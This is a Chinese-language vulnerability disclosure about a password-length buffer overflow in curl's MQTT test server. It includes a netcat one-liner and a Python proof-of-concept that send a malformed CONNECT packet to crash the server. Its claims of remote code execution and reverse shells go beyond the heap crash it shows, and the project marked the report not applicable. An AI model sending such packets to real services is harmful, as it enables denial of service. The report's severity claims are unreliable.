curl MQTT测试服务器缓冲区溢出漏洞分析
漏洞描述
curl项目中的MQTT测试服务器(mqttd.c)存在缓冲区溢出漏洞,该漏洞源于对MQTT CONNECT数据包中密码长度字段的不当验证。攻击者可以构造包含过大密码长度值的恶意数据包,触发拒绝服务(服务器崩溃)或可能执行任意代码。
漏洞摘要
漏洞发生在解析MQTT CONNECT数据包中的密码长度字段时:
- 读取2字节密码长度时未进行边界检查
- 后续内存操作使用此未经验证的长度,导致越界读/写
- 利用单个畸形数据包即可轻松实现攻击
风险等级: 高危(远程代码执行/拒绝服务)
CWE编号: 119(内存缓冲区操作限制不当)
复现步骤
1. 编译漏洞服务器
1
2
3
4
5
6
|
# 克隆curl仓库
git clone https://github.com/curl/curl.git
cd curl/tests/server
# 编译mqttd.c
gcc -o mqttd mqttd.c
|
2. 启动MQTT测试服务器
1
|
./mqttd --port 1883 --logfile mqttd.log
|
3. 发送恶意数据包
1
2
|
# 构造密码长度=65535(0xFFFF)的CONNECT数据包
printf '\x10\x1a\x00\x04MQTT\x04\xc2\x00\x3c\x00\x04test\x00\x04user\xff\xff' | nc localhost 1883
|
4. 观察崩溃
检查服务器日志中的段错误信息:
1
2
3
|
====> Client connect, fd 4. Read config from mqttd.config
mqttd: malloc(): invalid size (unsorted)
Aborted (core dumped)
|
支持材料/参考
PoC脚本(Python)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
#!/usr/bin/env python3
import socket
TARGET_IP = "127.0.0.1"
TARGET_PORT = 1883
# 包含无效密码长度的恶意CONNECT数据包
payload = bytes.fromhex(
"101a00044d51545404c2003c000474657374000475736572ffff"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, TARGET_PORT))
sock.send(payload)
sock.close()
|
漏洞代码片段
1
2
3
4
5
6
|
// 在mqttd.c中
if(passwd_flag == (char)(conn_flags & passwd_flag)) {
payload_len += (size_t)(buffer[start_passwd] << 8) |
buffer[start_passwd + 1]; // 🚨 无边界检查
payload_len += 2;
}
|
影响分析
方面 |
影响程度 |
机密性 |
中等(可能泄露内存数据) |
完整性 |
高(可能执行代码) |
可用性 |
严重(可靠的服务器崩溃) |
CI/CD风险 |
高(测试管道中断) |
修复建议
添加密码长度字段的边界检查:
1
2
3
4
5
6
7
8
9
|
if(start_passwd + 1 >= buffer_len) {
logmsg("Invalid password length offset");
return ERROR;
}
size_t passlen = (buffer[start_passwd] << 8) | buffer[start_passwd + 1];
if(passlen > MAX_ALLOWED_PASSWORD_LEN) {
logmsg("Password length %zu exceeds limit", passlen);
return ERROR;
}
|
使用安全内存函数(用memcpy_s替代memcpy)。
最坏情况安全影响
1. 远程代码执行(RCE)
通过精心选择密码长度和shellcode负载构造恶意数据包,攻击者可以:
- 覆盖栈上的返回地址
- 劫持控制流以执行任意命令
- 部署反向shell或勒索软件负载
2. 拒绝服务(DoS)
- 单个畸形数据包即可可靠地使服务器崩溃
- 如果在自动化测试中使用,可能:
3. 内存损坏和数据泄露
- 越界读取可能暴露敏感内存(如TLS密钥、会话令牌)
- 可能绕过ASLR(如果ASLR较弱)
项目方回应
curl开发团队回应称:“测试服务器仅为测试用途,不用于生产环境,因此其中的任何问题都不被视为安全漏洞。”
报告状态最终被标记为"不适用",并于2025年6月28日公开披露。